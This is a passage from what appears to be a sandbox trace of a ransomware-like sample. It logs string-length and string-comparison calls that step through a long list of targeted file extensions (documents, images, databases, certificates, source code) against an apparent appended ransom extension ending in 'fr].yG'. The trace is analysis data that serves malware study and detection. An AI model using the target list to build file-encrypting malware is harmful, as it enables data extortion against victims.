	[0178.557] lstrlenW (lpString=".1cd") returned 4
	[0178.557] lstrcmpiW (lpString1=".1cd", lpString2="].yG") returned -1
	[0178.557] lstrlenW (lpString=".3ds") returned 4
	[0178.557] lstrcmpiW (lpString1=".3ds", lpString2="].yG") returned -1
	[0178.557] lstrlenW (lpString=".3fr") returned 4
	[0178.557] lstrcmpiW (lpString1=".3fr", lpString2="].yG") returned -1
	[0178.557] lstrlenW (lpString=".3g2") returned 4
	[0178.558] lstrcmpiW (lpString1=".3g2", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".3gp") returned 4
	[0178.558] lstrcmpiW (lpString1=".3gp", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".7z") returned 3
	[0178.558] lstrcmpiW (lpString1=".7z", lpString2=".yG") returned -1
	[0178.558] lstrlenW (lpString=".accda") returned 6
	[0178.558] lstrcmpiW (lpString1=".accda", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".accdb") returned 6
	[0178.558] lstrcmpiW (lpString1=".accdb", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".accdc") returned 6
	[0178.558] lstrcmpiW (lpString1=".accdc", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".accde") returned 6
	[0178.558] lstrcmpiW (lpString1=".accde", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".accdt") returned 6
	[0178.558] lstrcmpiW (lpString1=".accdt", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".accdw") returned 6
	[0178.558] lstrcmpiW (lpString1=".accdw", lpString2="fr].yG") returned -1
	[0178.558] lstrlenW (lpString=".adb") returned 4
	[0178.558] lstrcmpiW (lpString1=".adb", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".adp") returned 4
	[0178.558] lstrcmpiW (lpString1=".adp", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".ai") returned 3
	[0178.558] lstrcmpiW (lpString1=".ai", lpString2=".yG") returned -1
	[0178.558] lstrlenW (lpString=".ai3") returned 4
	[0178.558] lstrcmpiW (lpString1=".ai3", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".ai4") returned 4
	[0178.558] lstrcmpiW (lpString1=".ai4", lpString2="].yG") returned -1
	[0178.558] lstrlenW (lpString=".ai5") returned 4
	[0178.559] lstrcmpiW (lpString1=".ai5", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".ai6") returned 4
	[0178.559] lstrcmpiW (lpString1=".ai6", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".ai7") returned 4
	[0178.559] lstrcmpiW (lpString1=".ai7", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".ai8") returned 4
	[0178.559] lstrcmpiW (lpString1=".ai8", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".anim") returned 5
	[0178.559] lstrcmpiW (lpString1=".anim", lpString2="r].yG") returned -1
	[0178.559] lstrlenW (lpString=".arw") returned 4
	[0178.559] lstrcmpiW (lpString1=".arw", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".as") returned 3
	[0178.559] lstrcmpiW (lpString1=".as", lpString2=".yG") returned -1
	[0178.559] lstrlenW (lpString=".asa") returned 4
	[0178.559] lstrcmpiW (lpString1=".asa", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".asc") returned 4
	[0178.559] lstrcmpiW (lpString1=".asc", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".ascx") returned 5
	[0178.559] lstrcmpiW (lpString1=".ascx", lpString2="r].yG") returned -1
	[0178.559] lstrlenW (lpString=".asm") returned 4
	[0178.559] lstrcmpiW (lpString1=".asm", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".asmx") returned 5
	[0178.559] lstrcmpiW (lpString1=".asmx", lpString2="r].yG") returned -1
	[0178.559] lstrlenW (lpString=".asp") returned 4
	[0178.559] lstrcmpiW (lpString1=".asp", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".aspx") returned 5
	[0178.559] lstrcmpiW (lpString1=".aspx", lpString2="r].yG") returned -1
	[0178.559] lstrlenW (lpString=".asr") returned 4
	[0178.559] lstrcmpiW (lpString1=".asr", lpString2="].yG") returned -1
	[0178.559] lstrlenW (lpString=".asx") returned 4
	[0178.560] lstrcmpiW (lpString1=".asx", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".avi") returned 4
	[0178.560] lstrcmpiW (lpString1=".avi", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".avs") returned 4
	[0178.560] lstrcmpiW (lpString1=".avs", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".backup") returned 7
	[0178.560] lstrcmpiW (lpString1=".backup", lpString2=".fr].yG") returned -1
	[0178.560] lstrlenW (lpString=".bak") returned 4
	[0178.560] lstrcmpiW (lpString1=".bak", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".bay") returned 4
	[0178.560] lstrcmpiW (lpString1=".bay", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".bd") returned 3
	[0178.560] lstrcmpiW (lpString1=".bd", lpString2=".yG") returned -1
	[0178.560] lstrlenW (lpString=".bin") returned 4
	[0178.560] lstrcmpiW (lpString1=".bin", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".bmp") returned 4
	[0178.560] lstrcmpiW (lpString1=".bmp", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".bz2") returned 4
	[0178.560] lstrcmpiW (lpString1=".bz2", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".c") returned 2
	[0178.560] lstrcmpiW (lpString1=".c", lpString2="yG") returned -1
	[0178.560] lstrlenW (lpString=".cdr") returned 4
	[0178.560] lstrcmpiW (lpString1=".cdr", lpString2="].yG") returned -1
	[0178.560] lstrlenW (lpString=".cer") returned 4
	[0178.560] lstrcmpiW (lpString1=".cer", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".cf") returned 3
	[0178.561] lstrcmpiW (lpString1=".cf", lpString2=".yG") returned -1
	[0178.561] lstrlenW (lpString=".cfc") returned 4
	[0178.561] lstrcmpiW (lpString1=".cfc", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".cfm") returned 4
	[0178.561] lstrcmpiW (lpString1=".cfm", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".cfml") returned 5
	[0178.561] lstrcmpiW (lpString1=".cfml", lpString2="r].yG") returned -1
	[0178.561] lstrlenW (lpString=".cfu") returned 4
	[0178.561] lstrcmpiW (lpString1=".cfu", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".chm") returned 4
	[0178.561] lstrcmpiW (lpString1=".chm", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".cin") returned 4
	[0178.561] lstrcmpiW (lpString1=".cin", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".class") returned 6
	[0178.561] lstrcmpiW (lpString1=".class", lpString2="fr].yG") returned -1
	[0178.561] lstrlenW (lpString=".clx") returned 4
	[0178.561] lstrcmpiW (lpString1=".clx", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".config") returned 7
	[0178.561] lstrcmpiW (lpString1=".config", lpString2=".fr].yG") returned -1
	[0178.561] lstrlenW (lpString=".cpp") returned 4
	[0178.561] lstrcmpiW (lpString1=".cpp", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".cr2") returned 4
	[0178.561] lstrcmpiW (lpString1=".cr2", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".crt") returned 4
	[0178.561] lstrcmpiW (lpString1=".crt", lpString2="].yG") returned -1
	[0178.561] lstrlenW (lpString=".crw") returned 4
	[0178.562] lstrcmpiW (lpString1=".crw", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".cs") returned 3
	[0178.562] lstrcmpiW (lpString1=".cs", lpString2=".yG") returned -1
	[0178.562] lstrlenW (lpString=".css") returned 4
	[0178.562] lstrcmpiW (lpString1=".css", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".csv") returned 4
	[0178.562] lstrcmpiW (lpString1=".csv", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".cub") returned 4
	[0178.562] lstrcmpiW (lpString1=".cub", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dae") returned 4
	[0178.562] lstrcmpiW (lpString1=".dae", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dat") returned 4
	[0178.562] lstrcmpiW (lpString1=".dat", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".db") returned 3
	[0178.562] lstrcmpiW (lpString1=".db", lpString2=".yG") returned -1
	[0178.562] lstrlenW (lpString=".dbf") returned 4
	[0178.562] lstrcmpiW (lpString1=".dbf", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dbx") returned 4
	[0178.562] lstrcmpiW (lpString1=".dbx", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dc3") returned 4
	[0178.562] lstrcmpiW (lpString1=".dc3", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dcm") returned 4
	[0178.562] lstrcmpiW (lpString1=".dcm", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dcr") returned 4
	[0178.562] lstrcmpiW (lpString1=".dcr", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".der") returned 4
	[0178.562] lstrcmpiW (lpString1=".der", lpString2="].yG") returned -1
	[0178.562] lstrlenW (lpString=".dib") returned 4
	[0178.563] lstrcmpiW (lpString1=".dib", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".dic") returned 4
	[0178.563] lstrcmpiW (lpString1=".dic", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".dif") returned 4
	[0178.563] lstrcmpiW (lpString1=".dif", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".divx") returned 5
	[0178.563] lstrcmpiW (lpString1=".divx", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".djvu") returned 5
	[0178.563] lstrcmpiW (lpString1=".djvu", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".dng") returned 4
	[0178.563] lstrcmpiW (lpString1=".dng", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".doc") returned 4
	[0178.563] lstrcmpiW (lpString1=".doc", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".docm") returned 5
	[0178.563] lstrcmpiW (lpString1=".docm", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".docx") returned 5
	[0178.563] lstrcmpiW (lpString1=".docx", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".dot") returned 4
	[0178.563] lstrcmpiW (lpString1=".dot", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".dotm") returned 5
	[0178.563] lstrcmpiW (lpString1=".dotm", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".dotx") returned 5
	[0178.563] lstrcmpiW (lpString1=".dotx", lpString2="r].yG") returned -1
	[0178.563] lstrlenW (lpString=".dpx") returned 4
	[0178.563] lstrcmpiW (lpString1=".dpx", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".dqy") returned 4
	[0178.563] lstrcmpiW (lpString1=".dqy", lpString2="].yG") returned -1
	[0178.563] lstrlenW (lpString=".dsn") returned 4
	[0178.563] lstrcmpiW (lpString1=".dsn", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".dt") returned 3
	[0178.564] lstrcmpiW (lpString1=".dt", lpString2=".yG") returned -1
	[0178.564] lstrlenW (lpString=".dtd") returned 4
	[0178.564] lstrcmpiW (lpString1=".dtd", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".dwg") returned 4
	[0178.564] lstrcmpiW (lpString1=".dwg", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".dwt") returned 4
	[0178.564] lstrcmpiW (lpString1=".dwt", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".dx") returned 3
	[0178.564] lstrcmpiW (lpString1=".dx", lpString2=".yG") returned -1
	[0178.564] lstrlenW (lpString=".dxf") returned 4
	[0178.564] lstrcmpiW (lpString1=".dxf", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".edml") returned 5
	[0178.564] lstrcmpiW (lpString1=".edml", lpString2="r].yG") returned -1
	[0178.564] lstrlenW (lpString=".efd") returned 4
	[0178.564] lstrcmpiW (lpString1=".efd", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".elf") returned 4
	[0178.564] lstrcmpiW (lpString1=".elf", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".emf") returned 4
	[0178.564] lstrcmpiW (lpString1=".emf", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".emz") returned 4
	[0178.564] lstrcmpiW (lpString1=".emz", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".epf") returned 4
	[0178.564] lstrcmpiW (lpString1=".epf", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".eps") returned 4
	[0178.564] lstrcmpiW (lpString1=".eps", lpString2="].yG") returned -1
	[0178.564] lstrlenW (lpString=".epsf") returned 5
	[0178.564] lstrcmpiW (lpString1=".epsf", lpString2="r].yG") returned -1
	[0178.565] lstrlenW (lpString=".epsp") returned 5
	[0178.565] lstrcmpiW (lpString1=".epsp", lpString2="r].yG") returned -1
	[0178.565] lstrlenW (lpString=".erf") returned 4
	[0178.565] lstrcmpiW (lpString1=".erf", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".exr") returned 4
	[0178.565] lstrcmpiW (lpString1=".exr", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".f4v") returned 4
	[0178.565] lstrcmpiW (lpString1=".f4v", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".fido") returned 5
	[0178.565] lstrcmpiW (lpString1=".fido", lpString2="r].yG") returned -1
	[0178.565] lstrlenW (lpString=".flm") returned 4
	[0178.565] lstrcmpiW (lpString1=".flm", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".flv") returned 4
	[0178.565] lstrcmpiW (lpString1=".flv", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".frm") returned 4
	[0178.565] lstrcmpiW (lpString1=".frm", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".fxg") returned 4
	[0178.565] lstrcmpiW (lpString1=".fxg", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".geo") returned 4
	[0178.565] lstrcmpiW (lpString1=".geo", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".gif") returned 4
	[0178.565] lstrcmpiW (lpString1=".gif", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".grs") returned 4
	[0178.565] lstrcmpiW (lpString1=".grs", lpString2="].yG") returned -1
	[0178.565] lstrlenW (lpString=".gz") returned 3
	[0178.565] lstrcmpiW (lpString1=".gz", lpString2=".yG") returned -1
	[0178.565] lstrlenW (lpString=".h") returned 2
	[0178.565] lstrcmpiW (lpString1=".h", lpString2="yG") returned -1
	[0178.565] lstrlenW (lpString=".hdr") returned 4
	[0178.566] lstrcmpiW (lpString1=".hdr", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".hpp") returned 4
	[0178.566] lstrcmpiW (lpString1=".hpp", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".hta") returned 4
	[0178.566] lstrcmpiW (lpString1=".hta", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".htc") returned 4
	[0178.566] lstrcmpiW (lpString1=".htc", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".htm") returned 4
	[0178.566] lstrcmpiW (lpString1=".htm", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".html") returned 5
	[0178.566] lstrcmpiW (lpString1=".html", lpString2="r].yG") returned -1
	[0178.566] lstrlenW (lpString=".icb") returned 4
	[0178.566] lstrcmpiW (lpString1=".icb", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".ics") returned 4
	[0178.566] lstrcmpiW (lpString1=".ics", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".iff") returned 4
	[0178.566] lstrcmpiW (lpString1=".iff", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".inc") returned 4
	[0178.566] lstrcmpiW (lpString1=".inc", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".indd") returned 5
	[0178.566] lstrcmpiW (lpString1=".indd", lpString2="r].yG") returned -1
	[0178.566] lstrlenW (lpString=".ini") returned 4
	[0178.566] lstrcmpiW (lpString1=".ini", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".iqy") returned 4
	[0178.566] lstrcmpiW (lpString1=".iqy", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".j2c") returned 4
	[0178.566] lstrcmpiW (lpString1=".j2c", lpString2="].yG") returned -1
	[0178.566] lstrlenW (lpString=".j2k") returned 4
	[0178.567] lstrcmpiW (lpString1=".j2k", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".java") returned 5
	[0178.567] lstrcmpiW (lpString1=".java", lpString2="r].yG") returned -1
	[0178.567] lstrlenW (lpString=".jp2") returned 4
	[0178.567] lstrcmpiW (lpString1=".jp2", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpc") returned 4
	[0178.567] lstrcmpiW (lpString1=".jpc", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpe") returned 4
	[0178.567] lstrcmpiW (lpString1=".jpe", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpeg") returned 5
	[0178.567] lstrcmpiW (lpString1=".jpeg", lpString2="r].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpf") returned 4
	[0178.567] lstrcmpiW (lpString1=".jpf", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpg") returned 4
	[0178.567] lstrcmpiW (lpString1=".jpg", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".jpx") returned 4
	[0178.567] lstrcmpiW (lpString1=".jpx", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".js") returned 3
	[0178.567] lstrcmpiW (lpString1=".js", lpString2=".yG") returned -1
	[0178.567] lstrlenW (lpString=".jsf") returned 4
	[0178.567] lstrcmpiW (lpString1=".jsf", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".json") returned 5
	[0178.567] lstrcmpiW (lpString1=".json", lpString2="r].yG") returned -1
	[0178.567] lstrlenW (lpString=".jsp") returned 4
	[0178.567] lstrcmpiW (lpString1=".jsp", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".kdc") returned 4
	[0178.567] lstrcmpiW (lpString1=".kdc", lpString2="].yG") returned -1
	[0178.567] lstrlenW (lpString=".kmz") returned 4
	[0178.568] lstrcmpiW (lpString1=".kmz", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".kwm") returned 4
	[0178.568] lstrcmpiW (lpString1=".kwm", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".lasso") returned 6
	[0178.568] lstrcmpiW (lpString1=".lasso", lpString2="fr].yG") returned -1
	[0178.568] lstrlenW (lpString=".lbi") returned 4
	[0178.568] lstrcmpiW (lpString1=".lbi", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".lgf") returned 4
	[0178.568] lstrcmpiW (lpString1=".lgf", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".lgp") returned 4
	[0178.568] lstrcmpiW (lpString1=".lgp", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".log") returned 4
	[0178.568] lstrcmpiW (lpString1=".log", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".m1v") returned 4
	[0178.568] lstrcmpiW (lpString1=".m1v", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".m4a") returned 4
	[0178.568] lstrcmpiW (lpString1=".m4a", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".m4v") returned 4
	[0178.568] lstrcmpiW (lpString1=".m4v", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".max") returned 4
	[0178.568] lstrcmpiW (lpString1=".max", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".md") returned 3
	[0178.568] lstrcmpiW (lpString1=".md", lpString2=".yG") returned -1
	[0178.568] lstrlenW (lpString=".mda") returned 4
	[0178.568] lstrcmpiW (lpString1=".mda", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".mdb") returned 4
	[0178.568] lstrcmpiW (lpString1=".mdb", lpString2="].yG") returned -1
	[0178.568] lstrlenW (lpString=".mde") returned 4
	[0178.569] lstrcmpiW (lpString1=".mde", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mdf") returned 4
	[0178.569] lstrcmpiW (lpString1=".mdf", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mdw") returned 4
	[0178.569] lstrcmpiW (lpString1=".mdw", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mef") returned 4
	[0178.569] lstrcmpiW (lpString1=".mef", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mft") returned 4
	[0178.569] lstrcmpiW (lpString1=".mft", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mfw") returned 4
	[0178.569] lstrcmpiW (lpString1=".mfw", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mht") returned 4
	[0178.569] lstrcmpiW (lpString1=".mht", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mhtml") returned 6
	[0178.569] lstrcmpiW (lpString1=".mhtml", lpString2="fr].yG") returned -1
	[0178.569] lstrlenW (lpString=".mka") returned 4
	[0178.569] lstrcmpiW (lpString1=".mka", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mkidx") returned 6
	[0178.569] lstrcmpiW (lpString1=".mkidx", lpString2="fr].yG") returned -1
	[0178.569] lstrlenW (lpString=".mkv") returned 4
	[0178.569] lstrcmpiW (lpString1=".mkv", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mos") returned 4
	[0178.569] lstrcmpiW (lpString1=".mos", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mov") returned 4
	[0178.569] lstrcmpiW (lpString1=".mov", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mp3") returned 4
	[0178.569] lstrcmpiW (lpString1=".mp3", lpString2="].yG") returned -1
	[0178.569] lstrlenW (lpString=".mp4") returned 4
	[0178.570] lstrcmpiW (lpString1=".mp4", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".mpeg") returned 5
	[0178.570] lstrcmpiW (lpString1=".mpeg", lpString2="r].yG") returned -1
	[0178.570] lstrlenW (lpString=".mpg") returned 4
	[0178.570] lstrcmpiW (lpString1=".mpg", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".mpv") returned 4
	[0178.570] lstrcmpiW (lpString1=".mpv", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".mrw") returned 4
	[0178.570] lstrcmpiW (lpString1=".mrw", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".msg") returned 4
	[0178.570] lstrcmpiW (lpString1=".msg", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".mxl") returned 4
	[0178.570] lstrcmpiW (lpString1=".mxl", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".myd") returned 4
	[0178.570] lstrcmpiW (lpString1=".myd", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".myi") returned 4
	[0178.570] lstrcmpiW (lpString1=".myi", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".nef") returned 4
	[0178.570] lstrcmpiW (lpString1=".nef", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".nrw") returned 4
	[0178.570] lstrcmpiW (lpString1=".nrw", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".obj") returned 4
	[0178.570] lstrcmpiW (lpString1=".obj", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".odb") returned 4
	[0178.570] lstrcmpiW (lpString1=".odb", lpString2="].yG") returned -1
	[0178.570] lstrlenW (lpString=".odc") returned 4
	[0178.570] lstrcmpiW (lpString1=".odc", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".odm") returned 4
	[0178.571] lstrcmpiW (lpString1=".odm", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".odp") returned 4
	[0178.571] lstrcmpiW (lpString1=".odp", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".ods") returned 4
	[0178.571] lstrcmpiW (lpString1=".ods", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".oft") returned 4
	[0178.571] lstrcmpiW (lpString1=".oft", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".one") returned 4
	[0178.571] lstrcmpiW (lpString1=".one", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".onepkg") returned 7
	[0178.571] lstrcmpiW (lpString1=".onepkg", lpString2=".fr].yG") returned 1
	[0178.571] lstrlenW (lpString=".onetoc2") returned 8
	[0178.571] lstrcmpiW (lpString1=".onetoc2", lpString2="l.fr].yG") returned -1
	[0178.571] lstrlenW (lpString=".opt") returned 4
	[0178.571] lstrcmpiW (lpString1=".opt", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".oqy") returned 4
	[0178.571] lstrcmpiW (lpString1=".oqy", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".orf") returned 4
	[0178.571] lstrcmpiW (lpString1=".orf", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".p12") returned 4
	[0178.571] lstrcmpiW (lpString1=".p12", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".p7b") returned 4
	[0178.571] lstrcmpiW (lpString1=".p7b", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".p7c") returned 4
	[0178.571] lstrcmpiW (lpString1=".p7c", lpString2="].yG") returned -1
	[0178.571] lstrlenW (lpString=".pam") returned 4
	[0178.571] lstrcmpiW (lpString1=".pam", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pbm") returned 4
	[0178.572] lstrcmpiW (lpString1=".pbm", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pct") returned 4
	[0178.572] lstrcmpiW (lpString1=".pct", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pcx") returned 4
	[0178.572] lstrcmpiW (lpString1=".pcx", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pdd") returned 4
	[0178.572] lstrcmpiW (lpString1=".pdd", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pdf") returned 4
	[0178.572] lstrcmpiW (lpString1=".pdf", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pdp") returned 4
	[0178.572] lstrcmpiW (lpString1=".pdp", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pef") returned 4
	[0178.572] lstrcmpiW (lpString1=".pef", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pem") returned 4
	[0178.572] lstrcmpiW (lpString1=".pem", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pff") returned 4
	[0178.572] lstrcmpiW (lpString1=".pff", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pfm") returned 4
	[0178.572] lstrcmpiW (lpString1=".pfm", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pfx") returned 4
	[0178.572] lstrcmpiW (lpString1=".pfx", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".pgm") returned 4
	[0178.572] lstrcmpiW (lpString1=".pgm", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".php") returned 4
	[0178.572] lstrcmpiW (lpString1=".php", lpString2="].yG") returned -1
	[0178.572] lstrlenW (lpString=".php3") returned 5
	[0178.572] lstrcmpiW (lpString1=".php3", lpString2="r].yG") returned -1
	[0178.572] lstrlenW (lpString=".php4") returned 5
	[0178.573] lstrcmpiW (lpString1=".php4", lpString2="r].yG") returned -1
	[0178.573] lstrlenW (lpString=".php5") returned 5
	[0178.573] lstrcmpiW (lpString1=".php5", lpString2="r].yG") returned -1
	[0178.573] lstrlenW (lpString=".phtml") returned 6
	[0178.573] lstrcmpiW (lpString1=".phtml", lpString2="fr].yG") returned -1
	[0178.573] lstrlenW (lpString=".pict") returned 5
	[0178.573] lstrcmpiW (lpString1=".pict", lpString2="r].yG") returned -1
	[0178.573] lstrlenW (lpString=".pl") returned 3
	[0178.573] lstrcmpiW (lpString1=".pl", lpString2=".yG") returned -1
	[0178.573] lstrlenW (lpString=".pls") returned 4
	[0178.573] lstrcmpiW (lpString1=".pls", lpString2="].yG") returned -1
	[0178.573] lstrlenW (lpString=".pm") returned 3
	[0178.573] lstrcmpiW (lpString1=".pm", lpString2=".yG") returned -1
	[0178.573] lstrlenW (lpString=".png") returned 4
	[0178.573] lstrcmpiW (lpString1=".png", lpString2="].yG") returned -1
	[0178.573] lstrlenW (lpString=".pnm") returned 4
	[0178.573] lstrcmpiW (lpString1=".pnm", lpString2="].yG") returned -1
	[0178.573] lstrlenW (lpString=".pot") returned 4
	[0178.573] lstrcmpiW (lpString1=".pot", lpString2="].yG") returned -1
	[0178.573] lstrlenW (lpString=".potm") returned 5
